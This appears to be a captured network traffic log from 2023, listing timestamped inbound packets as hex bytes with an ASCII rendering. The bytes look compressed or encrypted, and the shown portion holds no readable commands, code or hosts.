2023-02-22 08:42:08 UTC	13	IN	Data Raw: ec d2 c5 4d ea 47 9c 50 dc 07 37 c1 f5 c1 ed 55 1c 66 2f 17 66 ef a4 8f f6 6f 13 de 29 02 36 16 ee 2d 43 ff 85 44 9c 61 74 12 76 85 d1 fd e9 0f a1 66 a0 0e da 8e b7 7d bc 51 d8 b2 09 a7 b7 d7 58 7a 55 2a b1 4d fa 96 26 5e 2b 82 19 88 4e a9 2e d1 08 e2 35 11 de 37 81 17 f2 a0 ed 73 04 f1 d2 f3 3b b9 49 6f 09 41 7d 34 66 17 4e de 11 8e be 75 c6 3c 5b 73 0a de c7 49 0c ce 0e 79 31 31 e9 b3 74 23 24 7d 9f 64 fa 3e 85 e9 fb 16 e7 f7 be 2e bf 27 15 87 99 e4 c2 ec 97 2c 67 bf c2 72 26 27 d3 27 17 a6 ef 5f bc 8c fd dd 32 0e 28 0e 73 80 0b 73 60 52 36 60 ae 77 84 5f 62 81 31 ba 0e 02 21 81 60 c3 ee 45 3b 42 c3 5d 66 f4 58 6a 80 ce 50 91 aa 85 52 73 a6 cd f3 d9 68 08 f3 5c 96 14 8a 72 b4 97 ab ff be 16 13 d9 a0 ce e8 0a 8a 0a 13 9a 94 27 03 ce 61 43 93 b6 f6 29 75 Data Ascii: MGP7Uf/fo)6-CDatvf}QXzU*M&^+N.57s;IoA}4fNu<[sIy11t#$}d>.',gr&''_2(ss`R6`w_b1!`E;B]fXjPRsh\r'aC)u
2023-02-22 08:42:08 UTC	15	IN	Data Raw: c3 54 e1 38 fe 49 ca 8e b1 a1 5d 55 dc 16 58 90 c8 97 b4 5f 92 f6 4e d2 ee 18 e7 e0 fa 20 81 6b ac 93 f6 51 4c 0f 85 cb b5 2b 76 2b c4 f9 af e7 da 1c 9b cf 57 9b e3 7f 9e 1b fb bf af 9f ff 95 32 85 e7 c6 38 aa 3a e7 c6 30 7f ab 5a ff b9 31 68 7a 8c 2a fa cd 8b 9a 70 f4 6e e1 99 c2 2f e9 86 9f 3c 65 a2 d8 19 a5 b5 e5 26 3e 79 1b 7e ee 02 43 a7 a8 66 5e 7b 1b 5a 13 47 c0 9a 68 e5 45 43 04 73 3a 9f 3c 35 ee 27 4f 8f 30 45 8e 8c 79 36 db 75 cc 76 69 68 2e ec ba ae b9 10 6c ef d8 04 db 99 ab 3e 8a 6d 82 01 6d c3 b5 f5 87 5a 85 a6 00 ac b4 31 d2 b9 1e 96 e7 15 b1 14 86 8a 3a ff 51 7e 27 ca 33 49 de ff ca e8 a7 24 c6 0b f0 73 65 fa 49 d4 e3 25 ed 7b a9 f7 7b d2 90 55 02 83 05 9a bf 4a 74 3b d2 79 42 f5 73 f2 fe b0 fc 1e 23 85 1c 29 71 77 49 9d 07 4a de 1f 4b f5 Data Ascii: T8I]UX_N kQL+v+W28:0Z1hz*pn/<e&>y~Cf^{ZGhECs:<5'O0Ey6uvih.l>mmZ1:Q~'3I$seI%{{UJt;yBs#)qwIJK
2023-02-22 08:42:08 UTC	16	IN	Data Raw: 85 82 cc ce 0c cf a4 ea f6 9f db 54 e6 9d 0e 0a 20 1d a1 36 b0 32 3d 80 58 36 89 29 f5 2b 3d b8 69 54 04 eb 81 b6 5c 9b 90 96 76 46 8b 5b 0e d1 dc 00 b1 83 2c 3d bf 72 f9 fa db 65 b6 8d 43 da 7b 5a da f7 02 86 57 14 60 43 94 72 41 dc ed 2a b5 90 8d 58 7f 5d cb c6 20 b4 ee 51 ea 21 80 98 b1 cc 8a 48 27 1d 3f 57 26 87 5b 76 39 ad ed 3e b6 b6 c3 96 d9 c6 a9 8b 09 0d d9 d3 dc 66 28 b7 95 ea c0 4a 95 13 36 39 1d 0f 40 70 73 e0 fa 6b a9 e5 56 c1 c9 4f ca 27 3c 5e 1c cb 5e 5b 1a 8b c3 2a 80 b6 b2 42 33 97 ab d8 f4 86 cc 51 28 18 af 7e 3b 2f d2 3f ec 23 e7 11 6a 57 40 9d ba d4 52 af 23 b2 9e f0 25 cd fb 73 7d 7e cf a5 56 66 dd 33 6e 4a d3 d0 88 a6 7e 4b 93 5c a8 b7 42 b2 9d 65 5b 6b 62 cc 2c 4d b2 b8 b7 e5 58 17 0b fb 1f 2e a7 53 8f 7d a6 8b d5 18 8f 13 a7 9c 59 Data Ascii: T 62=X6)+=iT\vF[,=reC{ZW`CrAX] Q!H'?W&[v9>f(J69@pskVO'<^^[B3Q(~;/?#jW@R#%s}~Vf3nJ~K\Be[kb,MX.S}Y
2023-02-22 08:42:08 UTC	17	IN	Data Raw: fd 23 bd c8 52 ad 54 e2 87 79 ae 97 98 7e 28 76 ad da 15 74 3d 63 a6 15 fc de 10 13 78 38 10 c0 65 14 7c a2 33 cd 9d 2c 97 e3 43 47 39 2f 9a c6 3d ac 4e b1 13 2c d0 cf c6 05 0a c6 97 b1 aa 27 7b eb 9d 8e 8c b6 14 1d 4c 8a e0 c7 0c f6 8e cb 8e 77 4a 83 f3 7a da ab 4e 4b 3d c7 5b 67 4b 6f e7 a8 e9 eb 2a 89 0d 6a 2f 68 11 63 cb 2f 2a 8b 44 ac bf 95 92 df 79 68 ea 7b 75 e9 a2 55 fc a3 29 25 13 f0 7a 8c 17 69 2a c2 be 48 d8 27 14 f6 3c 10 50 78 55 78 2b 0b 79 15 21 2f aa 8f 79 7b 08 38 52 43 41 a1 f0 ea 41 30 12 b3 77 c4 85 ba fd 98 6d 77 9d 9b 83 82 c4 09 42 65 7e b5 2d a6 2f e1 37 56 f8 91 64 51 6a 9d c6 0a f6 a7 07 4d ef 6f 1f 05 20 ae fa 2c 51 47 ed 58 44 7c 68 e2 d9 0c 65 7c 03 ed 65 c7 17 6b 3a ff 54 64 d9 d0 12 71 2f fd be b7 38 07 c2 74 7a cb 1a 5d cc Data Ascii: #RTy~(vt=cx8e\|3,CG9/=N,'{LwJzNK=[gKoj/hc/Dyh{uU)%zi*H'<PxUx+y!/y{8RCAA0wmwBe~-/7VdQjMo ,QGXD\|he\|ek:Tdq/8tz]
2023-02-22 08:42:08 UTC	19	IN	Data Raw: bf b8 1e 1a 6a 1b a3 1b f1 74 40 0e f8 61 a7 27 fd b0 d3 0b fd b4 a7 26 d3 4f 2d 4c 9f 91 4c 9f 51 98 3e 33 99 3e b3 30 fd b4 64 fa 69 85 e9 a7 27 d3 4f 2f 4c 3f 23 99 7e 46 61 fa 99 c9 f4 33 0b d3 cf 2a ee cb 3e cb f5 65 9f 5d 1c e6 6c 17 e6 9c 64 39 e7 14 96 73 6e 32 fd dc c2 f4 f3 8a 97 71 9e 5b c6 f9 c5 61 ce b7 30 f1 7e df 0b 1c ff f9 05 ff e2 3f 1f ed 15 fa 44 c7 24 c2 bb 26 c2 bb 27 c2 7b 25 c2 13 13 e1 7d bd d8 37 3b d4 79 1f 6f 62 9f e8 30 27 7e 44 82 be 31 89 70 d2 c7 3d 3a 11 2e ee f3 2e 3c 0b b6 93 53 de 48 e7 7d 67 e7 7d 17 e7 7d ac f3 be 9b f3 3e 29 51 d7 7d 12 65 4f 4a 84 0f 4a 84 47 25 c2 d3 1d 9e 9c e0 bc 8f 4f 94 33 ce 49 db 23 c9 7f 27 6d 82 43 eb de ce fb 3e 7c 17 9e 5c 08 60 9b f7 5f bf 97 5b dc bf 1d a7 47 7e ec 0c 6f e1 84 5f d5 bf Data Ascii: jt@a'&O-LLQ>3>0di'O/L?#~Fa3*>e]ld9sn2q[a0~?D$&'{%}7;yob0'~D1p=:..<SH}g}}>)Q}eOJJG%O3I#'mC>\|\`_[G~o_
2023-02-22 08:42:08 UTC	20	IN	Data Raw: 88 c7 99 b5 09 ca 23 24 53 4c 68 e3 69 39 4b e2 31 f2 17 28 ac e4 1d 1e 2f 7a d1 1d 1e f3 e2 3b 3c 60 bf 49 3f 36 1b 99 f5 7e d7 12 5e bc b1 29 3d 1b 7e 98 fc f2 72 93 ca f6 65 21 fd 69 3d 67 27 a5 6c 69 bf 69 49 92 5f 6c b2 f4 3c 8e b2 9c 8f 57 a6 1c b2 69 9e aa 42 24 8f 5b ea ea 37 db 0e 9e 9d 47 e5 39 54 9e 9b e5 a1 a7 1b 4b 0a a1 95 f0 92 fc ab f0 a6 7f 08 8b ed 65 44 bc e2 e1 c2 6b 7a 1c 70 dd 4e 45 59 d5 a7 42 28 79 cf 76 85 b3 89 24 69 d9 b3 d9 68 38 99 5f d1 5c 2d 4f 72 18 bb 1b c2 31 f5 0a 21 b7 a2 cc 7f 15 c8 5f d3 d2 3e 42 35 66 4b bc 28 5c 01 6c 97 d2 2f 67 7a c1 a1 a8 a5 04 8f 43 b0 b9 76 3f 5c 1f b2 e8 fd 46 80 15 f9 02 e6 93 68 27 b0 32 26 e9 02 9a 0e a7 35 16 32 2c 13 dc 4a de 34 33 c3 80 76 8e d1 bb f7 5f 32 7a 5f 3c d4 42 70 93 fc ab 28 Data Ascii: #$SLhi9K1(/z;<`I?6~^)=~re!i=g'liiI_l<WiB$[7G9TKeDkzpNEYB(yv$ih8_\-Or1!_>B5fK(\l/gzCv?\Fh'2&52,J43v_2z_<Bp(
2023-02-22 08:42:08 UTC	21	IN	Data Raw: 80 b1 63 84 f1 8c 7a db c6 f9 3f a4 40 75 e1 ec 69 db 6b 0a 67 d7 fb 10 aa 5a ec 30 d7 3f d4 0b cc 5b d0 92 b8 bb b0 b1 b3 e9 c8 23 b2 99 52 ba 37 e0 1a 40 e9 00 8b b2 1d 51 36 d3 9a 7e 65 65 3b f7 ad 17 ad cc 41 1b 07 bf af b1 00 7e 09 e5 fa 07 0b 80 49 48 f0 f6 1a 2b 66 d9 1d b2 d5 8e 04 8d 8f 84 be f6 2e 6e 28 bb 71 8d 15 a6 44 1d d4 55 b8 94 02 50 e9 d7 20 33 ec d7 e0 18 dd 9f 96 bb cd 84 c3 26 49 af 9d c0 79 7f 5b 40 8c 76 76 9d 7d 03 f1 78 26 ee 54 d9 36 7e 33 f0 e6 0f e5 7b 53 24 42 d5 d5 c8 d9 8e 39 7b 14 73 9c f4 46 fa 12 dd 02 50 8d 26 59 23 4d 22 40 6d 07 4f 9b 03 a0 ee 20 70 1c 80 de 53 20 34 69 b6 4d ee 76 64 1e 89 f8 27 56 5b a9 0d 57 48 f7 8b 9a fa ea d5 96 5f 5d e3 9d 45 ca a7 99 ab ed 34 6e 9a 82 75 43 f1 87 63 a5 b3 0c 55 19 43 81 ce b7 Data Ascii: cz?@uikgZ0?[#R7@Q6~ee;A~IH+f.n(qDUP 3&Iy[@vv}x&T6~3{S$B9{sFP&Y#M"@mO pS 4iMvd'V[WH_]E4nuCcUC
2023-02-22 08:42:08 UTC	23	IN	Data Raw: 90 50 19 6c 09 0a 4e 50 0a 7a 83 3a 26 92 ba 60 f1 52 4b 58 17 bf 12 f4 f6 88 64 75 07 45 84 91 30 9c ff 1c 66 69 f6 51 94 ae 07 6f f8 97 95 8f dc a7 20 68 47 0b e5 91 a0 55 7f da 6e 9f dd 36 ba 07 93 1d eb 64 e4 5f f4 a7 ed 48 c2 ec 5e 0e b3 6f 6a b0 2c 29 6e d9 04 cf 42 bc 74 dc c8 d6 e4 1e 44 65 49 d3 05 7f 46 dd 2c 74 1c a0 65 42 ad 15 dc ab ad 0b 0b 5b 4d e9 93 2c 07 c7 ff 09 82 77 fa d3 f2 24 d1 43 94 ec 31 b6 82 dd 01 af 86 76 25 33 51 d9 66 a7 14 dc 6c 7a 04 92 57 fe 61 25 84 1b 39 83 37 96 ae 33 df 2f 98 da 56 cf b0 a5 3c fb 07 a8 7a 44 31 c0 b6 0e 47 bc 8d ad 8c 6d 10 c1 d6 5e 0a d8 ea 29 28 f2 6c 66 a0 09 e0 4a 54 f0 94 ce 19 31 5a e4 57 d9 8e 0a 5f 63 30 1e 59 3a fb 9b 02 b1 4c 6b f1 c1 04 0e 30 b5 7f 80 9f 68 88 a2 c6 04 9d 9e 1d ff b0 68 43 Data Ascii: PlNPz:&`RKXduE0fiQo hGUn6d_H^oj,)nBtDeIF,teB[M,w$C1v%3QflzWa%973/V<zD1Gm^)(lfJT1ZW_c0Y:Lk0hhC
2023-02-22 08:42:08 UTC	24	IN	Data Raw: e0 1b 37 85 63 6f c6 c0 af e5 c5 63 6f a8 da 27 c8 43 2d b2 2b e9 ea 54 e5 07 e9 68 c7 b9 0c 29 52 7e 95 3f af 50 60 5e 23 e6 67 80 19 83 8e 67 34 8f 43 ea 1c 42 60 ed dd e8 7e 88 33 0d f9 5e 6c 7c 01 c5 60 17 8c cf 3a 13 a6 84 cb 47 07 70 44 61 4c 85 27 da b3 0e c5 78 b6 18 8e 2f da 18 4f 68 59 ea 68 f3 6b 9d 01 91 24 5f 4d 82 2e 26 33 f6 33 fe 36 92 ce 1d 1f b9 ca 4c 54 d9 9a f8 8c cd ed 26 de b3 83 77 77 4f 89 74 f1 82 fd 1f 1f 79 85 fb 59 3e 4f 84 bf 4c 84 bf 4e 84 bf 4b 84 ff 93 08 ff 98 08 ff 9c 08 ff e6 c5 fb 56 de 77 de c7 9b 78 5f ca 87 4e fc 42 e7 fd 33 e7 7d aa 03 ff 6b 1c 5f b0 d7 68 44 a2 ee 63 12 e1 d1 89 f0 ed 4e de 3b 13 69 f7 32 3c 31 0a e3 b3 3e 8d cd d3 86 13 a7 28 cf 17 0e 7d b7 26 f2 df 95 08 8f 75 f2 7d 92 e0 d1 2e 09 d8 fb 12 e1 3b Data Ascii: 7coco'C-+Th)R~?P`^#gg4CB`~3^l\|`:GpDaL'x/OhYhk$_M.&336LT&wwOtyY>OLNKVwx_NB3}k_hDcN;i2<1>(}&u}.;
2023-02-22 08:42:08 UTC	25	IN	Data Raw: 4f d6 60 75 99 43 37 f0 c2 44 fd 3a c5 4f 8e ec 8f 41 de b6 36 6f 5b 56 aa 74 b5 65 aa de 4c c3 12 36 8a 7a c8 2f ab 6c 9d ab fc 83 91 d4 85 f2 8f 68 cc 9b ef 4c ce bd dd 08 49 bf 2b 99 7e 57 61 fa dd c5 e7 e6 77 bb 73 f3 7b 8a c3 dc e3 c2 dc 9b 2c e7 de c2 72 ee 4b ce ef db a4 c2 ef 6c ab ef c6 f5 db 82 9d 32 9c f1 53 9c 58 4e 83 ba c0 f4 f8 36 79 1e 36 e1 98 2b 1a 51 bf 89 7d 7c 81 a8 d4 bd 40 c3 07 61 9e f1 16 4b 6d 7c ba d0 55 c3 c2 70 e8 a7 c2 53 b7 f3 01 21 2a 9d b4 73 18 39 a9 89 93 76 52 dd 91 c9 75 97 4a 54 a8 e3 53 d1 07 95 91 2e 33 d9 d8 ec 8a fd b6 fc b8 33 3b 70 b0 a9 bc d5 04 6b 10 79 95 9b 8d 6e 26 8a 42 73 66 6b 6a 54 5e de 9f e4 e5 fd 85 bc 7c 20 99 fe 40 61 fa dc 64 ba 1b 11 9f 07 3b 41 4a f6 c5 f6 d1 f3 60 fe 49 e9 82 f3 60 0b 33 bc 74 Data Ascii: O`uC7D:OA6o[VteL6z/lhLI+~Waws{,rKl2SXN6y6+Q}\|@aKm\|UpS!*s9vRuJTS.33;pkyn&BsfkjT^\| @ad;AJ`I`3t
2023-02-22 08:42:08 UTC	27	IN	Data Raw: 1e 8b 45 d8 dc ea a0 c0 19 f4 58 a2 44 7a 1e 97 b4 19 82 3f 5c eb 65 13 6e 4a ec a4 a8 1a c8 bc fc 20 a1 c8 bf 50 d2 d2 95 fe 45 14 95 00 97 78 57 94 d7 72 f4 2a 8b 08 ab fb 87 cd f5 33 da 27 3f 1e 99 66 b1 c7 d0 dd f3 71 23 29 45 3b 39 82 f6 42 63 3c 4d 91 d7 8a 74 dd 1a f9 51 e7 c6 1c 79 0b 30 ce 04 64 f8 a3 28 ab 2d de 70 2d 80 90 c5 cb 86 2e b4 3d 2e 74 9a 10 ed a1 24 64 92 16 89 4b 2a 74 07 52 5c 77 ff e2 74 34 5d 22 e5 5b 33 43 1f f9 cf 16 a7 d2 8a 7b 9c 5e 19 d0 3c f7 86 e1 80 4c c3 28 d3 b8 fe be db 5c dd 64 fc 84 bc cb 88 b4 2d ef 0d 1e 49 7c 6e 2d 36 62 d4 f5 b3 46 c6 43 cc 31 0d 39 d8 b3 82 ed d8 02 b9 37 81 35 ad ee 87 8b 00 b3 08 b2 1e 76 dc 32 a7 1e 45 3a 2e 2c 66 28 b9 00 33 66 ff 52 d4 3b e6 ff 97 d4 11 1f 50 0f 95 f9 97 80 33 24 95 97 90 Data Ascii: EXDz?\enJ PExWr3'?fq#)E;9Bc<MtQy0d(-p-.=.t$dKtR\wt4]"[3C{^<L(\d-I\|n-6bFC1975v2E:.,f(3fR;P3$
2023-02-22 08:42:08 UTC	28	IN	Data Raw: 85 1b 21 e9 4f 16 c7 f1 a4 8b e3 a9 24 0e 37 02 f6 50 5d 86 8d 51 11 2a 30 77 5f 0a b8 b6 95 51 03 06 1a b6 42 9a 78 95 a7 9b 2f b9 b5 19 4e b5 3d 53 7a 45 6e 2c d5 ce 26 44 ff 15 48 1c 47 d2 07 9b 70 ac 75 66 bb 94 4c 28 df 36 74 a6 1f 67 42 41 41 41 30 91 45 28 cd bd 46 3d 96 20 27 8f 8c 9b 9b 62 1e cb 16 fe 3b 86 d3 83 58 10 78 29 52 70 bf fc 97 d4 77 0d 3d de 94 84 1b 9b 38 c9 c2 8e eb e0 6c 44 bc 60 5b 90 c2 76 6a dc 82 b8 2c 31 54 34 57 08 86 8a d6 d3 c5 7a 09 57 12 5e 4d 63 3a 13 9b 7c c3 9a ec 28 5a 87 6c ec 7f fe 6b 69 eb 27 55 47 73 eb e9 1d 81 e2 f5 b4 75 34 b7 14 e8 45 f3 1b 41 67 63 65 9b a4 93 98 52 47 83 c0 61 56 99 ca 2b c9 75 4d cd 52 ed 65 8d f2 88 b9 6e be 93 07 d3 62 b1 d6 cd c9 46 af 6f fa 1b f8 56 03 5c 2b 16 52 e8 bf 91 0e 5d f9 fc Data Ascii: !O$7P]Q*0w_QBx/N=SzEn,&DHGpufL(6tgBAAA0E(F= 'b;Xx)Rpw=8lD`[vj,1T4WzW^Mc:\|(Zlki'UGsu4EAgceRGaV+uMRenbFoV\+R]
2023-02-22 08:42:08 UTC	29	IN	Data Raw: 7e 0a a7 89 a6 d2 0b 48 42 b3 3b 47 1f 3f 43 bf e2 2d ac 21 b1 e1 a6 66 2c fd 05 e7 d4 c7 bc d0 e8 66 11 1f 0f a9 b7 cd 53 7d 0b 84 b3 93 23 53 1b 59 9e ba 97 e6 53 86 aa 3f 36 bc e0 31 a6 9e 0a b7 6b bd 15 c0 42 d2 f4 36 10 b6 ef 4a ee b1 a4 0a f8 63 8d 45 98 3f 04 8d 3c 0e c5 c2 3e 0a 3e 5c e3 08 26 04 4d 05 93 fa fa 89 35 b6 a5 42 31 a7 2f ea e6 35 56 26 72 9f 22 96 4b 51 e7 af b1 24 c5 9b 1a ab 4d 54 b5 da c3 d6 58 85 3e 69 8d 15 eb aa 6c 73 a7 6e b0 ea 82 41 6b 6c 7b e6 f3 96 d8 92 88 93 1b c4 e5 48 6f 71 6f dc 98 49 3d 18 6e cc 5c 68 ab 52 6a 49 e0 de 50 9d dd 7f a9 5b 30 a1 14 f3 6f 0c 0f 7b 56 30 b4 21 26 4c bf 75 50 09 e0 b9 ab ad 28 f1 4b 70 5a 35 cc 34 83 2b 98 a4 e4 f8 ab 23 ce 69 71 27 b0 b8 76 00 3b 72 75 dc 8d 7e 04 54 4f db e4 e3 b8 b7 73 Data Ascii: ~HB;G?C-!f,fS}#SYS?61kB6JcE?<>>\&M5B1/5V&r"KQ$MTX>ilsnAkl{HoqoI=n\hRjIP[0o{V0!&LuP(KpZ54+#iq'v;ru~TOs
2023-02-22 08:42:08 UTC	31	IN	Data Raw: bc 70 ef 03 c4 29 9f d9 49 94 b8 a7 e2 54 2e 86 54 ed c7 14 a7 b7 75 b4 f7 33 19 77 e3 96 6e d5 4b 45 b0 e1 a7 1d a8 02 d4 97 d4 2c f6 48 bf 65 f4 33 82 18 67 7a 44 92 5c 51 96 93 f9 49 b8 5d 5b cb 7b 87 e5 41 e7 61 e7 57 61 79 ba f3 4b 3f 04 e4 37 47 89 37 11 9a 27 6c 32 8a 8a 83 41 85 97 d8 62 a6 39 4b 9c 7a c1 97 14 ea e7 bd 38 7a 16 cd 91 d1 5d a7 25 7e 49 c6 ae 57 30 fb c6 2c b8 8b fc 5f 74 9c c1 36 31 f4 b5 f6 a5 e1 95 1a e9 78 3f e7 68 94 e0 b3 b2 a5 7e a9 64 75 f7 73 12 55 72 3f 67 99 fd ac 11 99 fa 28 93 11 e6 27 85 9c 0d 63 47 13 47 21 d9 dc 76 e5 20 77 57 6f 9a 27 2f d9 d2 8d 75 cd 32 51 5e 31 9c ec 92 04 09 20 8f 3f e2 18 c3 bd 17 35 26 9f 1a c1 0d a2 00 ca 9f 39 52 de c3 eb c6 09 7a 37 41 6f 5a 1b ef 41 db ce e8 57 20 27 a4 74 71 d6 0f f7 a0 Data Ascii: p)IT.Tu3wnKE,He3gzD\QI][{AaWayK?7G7'l2Ab9Kz8z]%~IW0,_t61x?h~dusUr?g('cGG!v wWo'/u2Q^1 ?5&9Rz7AoZAW 'tq
2023-02-22 08:42:08 UTC	32	IN	Data Raw: be e3 d9 2f 8c dc 5b c4 65 bb e3 1d ca 5b 2d 85 bc 2b 0f fa 55 34 3b da 1c 65 2d 4b 61 82 94 93 a1 a6 3c 7f 9e 8c c4 99 dc 4b 06 d3 24 7a 4f ea 20 be cf b1 e0 47 d9 59 64 2a b5 9d c4 e5 af 13 c8 12 de d5 ea 6f 9f c1 91 9a 3a c3 79 16 13 ef 96 c4 74 18 4f 83 28 3f cf 19 e2 b7 01 ce c3 62 a5 1a 8e 77 c9 e9 14 66 b8 a1 1e f5 94 7d b0 09 a1 5d e8 7f 3c ca b0 40 1e 86 d1 eb 5b f5 88 38 af 0f f0 b7 cd ac 3b 35 4b 45 85 d7 3e c8 0a c1 cd 6f 08 e9 0f ca 44 7b 90 76 c8 44 a3 26 ab ee dc 8a 15 9e 26 e4 6c 33 1d 5f 9e ec 85 44 71 19 71 08 89 4a fb 83 81 74 48 c6 6e 96 03 ae 70 b6 c9 2a 73 b6 39 d4 16 45 a2 38 db e4 ac c0 99 68 5e d4 18 d1 98 a8 8d 76 ef af 43 3f b3 34 76 7b 38 68 93 a0 e1 61 4b a7 42 ff 70 9e f8 33 1c 93 61 63 39 c7 26 c3 5d 25 6b d9 1e d1 3c f2 29 Data Ascii: /[e[-+U4;e-Ka<K$zO GYdo:ytO(?bwf}]<@[8;5KE>oD{vD&&l3_DqqJtHnps9E8h^vC?4v{8haKBp3ac9&]%k<)
2023-02-22 08:42:08 UTC	33	IN	Data Raw: 2f 78 ef 82 06 6e 56 c0 04 f8 0a 06 be 60 a7 7a 05 54 09 0b 5d 5d 1d b1 ba 1a c6 9c 70 89 4a e4 a6 97 5e bc 43 bb 9f 91 3d cb 45 3f ea 34 38 8f 0d d1 60 17 47 cc e2 1f a9 f1 8b 6d 64 51 b0 6d 14 1c 29 10 6d be d5 9f b4 92 77 7f ae fe 28 6a 6c da e0 ee d8 e0 ff 0a 89 c8 6e d3 5d ac c9 37 31 5b 4a 7a b4 95 88 21 ac 48 22 dc d0 8b d4 bc bc c8 0c 91 83 45 6a f5 1c 89 b5 3e 80 f7 95 f5 01 e0 3d bc e6 1e ea 61 67 67 0f 74 54 f6 9b eb 13 ce 7b 4f 86 71 cf 08 d0 df 8c ec 9c f9 65 17 06 96 81 3e 13 1a 16 73 ce d9 05 f2 fe 8d f3 fe aa f3 fe a5 f3 fe 9a f3 fe 9c 8b bf d6 e2 5c ee c0 3c a5 64 1f 41 8c 2f 3a a1 e6 4e 79 13 74 8f 8b 7a bd 55 60 08 57 a6 5b 29 b3 3a bf 00 0f f3 9d 0a b2 60 9a 34 c7 bf b2 dc e1 ed 72 25 df c3 62 6c de 71 39 93 9a 2b a7 d9 f3 a8 c3 45 38 Data Ascii: /xnV`zT]]pJ^C=E?48`GmdQm)mw(jln]71[Jz!H"Ej>=aggtT{Oqe>s\<dA/:NytzU`W[):`4r%blq9+E8
2023-02-22 08:42:08 UTC	35	IN	Data Raw: b9 30 b0 2b 13 91 e0 5e 34 f1 87 b9 36 17 c4 16 0a 1e c3 eb 07 f4 9b a3 64 09 d8 35 f4 fb 0f e8 02 9b 05 65 79 a4 06 d9 a4 93 2e b3 a6 14 a6 cf a9 48 fa 36 bc 23 82 2f 32 bb 02 15 8b 6a f0 3a 7b 28 15 a7 5e ae 9b 56 98 63 ef 45 d3 b7 af 61 8d 08 55 eb 2b e3 ff 61 b8 b1 0c c7 17 68 69 8a e2 a6 88 3e 96 a2 ae 8d bc 53 e2 84 b8 3d b7 83 b1 16 37 f2 72 2f f0 e8 eb e6 f9 f8 b5 cb c7 6f c2 6d e1 46 50 fa b7 e1 74 37 02 7c 27 6b 62 47 df 89 c1 1a cc 4c 99 ae 81 88 0e 7a e2 95 78 fc 93 1e 73 5e c1 1c 97 7b 0d 92 85 03 a1 c3 c0 78 ac 3d 1e 62 b7 06 21 94 b9 30 28 33 d7 87 7d 92 12 f3 dd 3f 8e 8b aa df 42 79 e6 fd 17 e4 f6 e4 08 19 12 b9 bf cf 41 b4 28 04 5b 2e 4f 54 d9 3b e2 80 f2 97 4e 0b 54 77 85 b5 8e 79 a9 56 2d e8 99 be 73 1e c0 be 85 0c 0a 1d b5 ca d6 3f 4b Data Ascii: 0+^46d5ey.H6#/2j:{(^VcEaU+ahi>S=7r/omFPt7\|'kbGLzxs^{x=b!0(3}?ByA([.OT;NTwyV-s?K
2023-02-22 08:42:08 UTC	36	IN	Data Raw: aa cb dc 1f b7 db 24 3e 42 be b3 d0 35 a3 f5 07 23 e2 35 40 0f 36 c5 d5 72 71 c1 d1 96 ef a2 b8 71 44 b0 f7 49 5c cf de 18 2a ce 50 5b c4 8f 02 57 6c e6 21 00 c0 2b e7 ff 2c 2e af 2f 90 f7 ef c8 fb 25 92 f6 40 52 70 26 09 1a 47 ae 12 e4 4b ad 95 dc 59 26 87 d1 70 df e6 73 b3 f9 0e 94 80 7a 11 ab cc 23 71 2d 56 e8 81 fe fc 6d 86 ca ea 99 d5 55 52 fb 15 48 e6 c1 e9 08 5b 1a 1f 5c 21 95 a8 33 95 b0 7b 57 95 48 2c 7b 7b 03 5f ac b8 97 e6 a0 cb 44 33 0f 23 f1 56 7a ad 6e e5 08 14 fb 74 b6 6c b5 63 e8 93 00 83 63 c3 ff 5e 7c 67 c8 57 7d 5c cd ab 4a 5b 08 e0 be ec f5 65 0a 9e dd 6a 86 b6 47 c4 ab 07 09 08 b5 a7 b8 32 3e 50 4c 09 e9 07 7d 20 2d 3b 29 e6 d8 6c 01 8f 9e d0 3c f2 6f 65 e9 60 a6 55 f7 d2 87 3f 80 3d 7e 1e 3b e6 33 4f 31 79 d5 53 1c 2f 54 3f 20 ed ba Data Ascii: $>B5#5@6rqqDI\*P[Wl!+,./%@Rp&GKY&psz#q-VmURH[\!3{WH,{{_D3#Vzntlcc^\|gW}\J[ejG2>PL} -;)l<oe`U?=~;3O1yS/T?
2023-02-22 08:42:08 UTC	37	IN	Data Raw: cd 48 ee b2 0f 8c 33 27 4d 40 58 b9 7f fc 16 d7 2b 34 7f 87 b0 f3 fc 4b 1c 41 49 71 da 6e a5 df e5 84 aa 4b 44 b0 9d 4c ff c7 46 f8 1e 3b de 5c dd 27 22 03 07 1c bb af 23 f7 06 c6 ee df 4a 61 d1 f9 8f 73 b7 e4 fb a1 d6 c5 cd aa e4 9b a1 10 f2 e4 9a ae d5 71 be a6 eb 15 c5 8b 21 51 8a b7 19 3d 69 4e a3 31 6f b0 e8 d8 fb 23 1e 50 4c 19 79 33 02 32 da fb c0 78 5b 99 4f 83 a1 28 34 6f 13 d4 c7 40 ee 8d bb 35 ea b5 c2 b6 c2 6b 4c ef e6 c2 8a ad 26 8a 81 62 d2 55 a6 3c 67 b1 66 be a5 af ee 0b f6 6e 40 35 fb ef 43 3f d9 12 bc b5 71 6d 28 31 15 ff 6e 30 aa e3 ce 06 1c c8 54 a7 a0 95 c7 81 09 f9 de 9f 04 92 73 f1 19 cf 8a b0 a0 29 15 4f bf d8 10 9c 62 c7 4e 5b 82 fe 2b 8e fb b3 58 a3 07 17 75 9d 85 4c 72 d0 7e 9e b7 0a c9 31 19 33 eb 40 15 cd af 80 a2 c0 10 b3 2b Data Ascii: H3'M@X+4KAIqnKDLF;\'"#Jasq!Q=iN1o#PLy32x[O(4o@5kL&bU<gfn@5C?qm(1n0Ts)ObN[+XuLr~13@+
2023-02-22 08:42:08 UTC	39	IN	Data Raw: 0e 02 d9 ff 84 b4 71 e3 8c 37 79 fb 73 de 1e 82 bd 31 6e 7c 8f a8 87 df 86 a3 65 20 aa ff 05 88 7d b0 e2 4f 0c 6f 22 0c 15 de 91 88 d9 e6 08 1b 99 0a 85 d5 55 99 df b4 ee f0 3f 14 0f 72 0a 24 3c 88 9e 38 05 d4 0d d6 ac 7e 48 3c c2 a8 7a f6 65 d3 1f d8 83 f7 af cd a6 95 2b bd c3 50 d0 0a d6 7b 1c 93 fd 71 7c e0 5e f3 3f 6d 34 70 81 63 f4 30 64 3f 44 30 a3 23 7a 83 90 fb 9d 04 e7 86 b0 65 1b 4c 51 7d 0d 33 3c 76 62 77 90 52 2b 01 d5 7e 82 a6 77 14 30 e6 59 5a ab 0b b8 19 f4 09 f0 8d cc 0c 6e 18 0c 91 fe 4a 67 c1 69 1f c4 76 40 ec 6b 1c 9b 1d 30 41 7f 6c d8 d5 34 f3 fd ec 78 be 75 93 91 b2 5d e4 b3 56 7d dc 30 5b 6e 5e 64 b9 eb 0f 6c 7f 17 60 88 7a f0 05 b2 0b a2 8f da 64 1a a3 bd 50 34 08 d1 a3 25 fa 6f 09 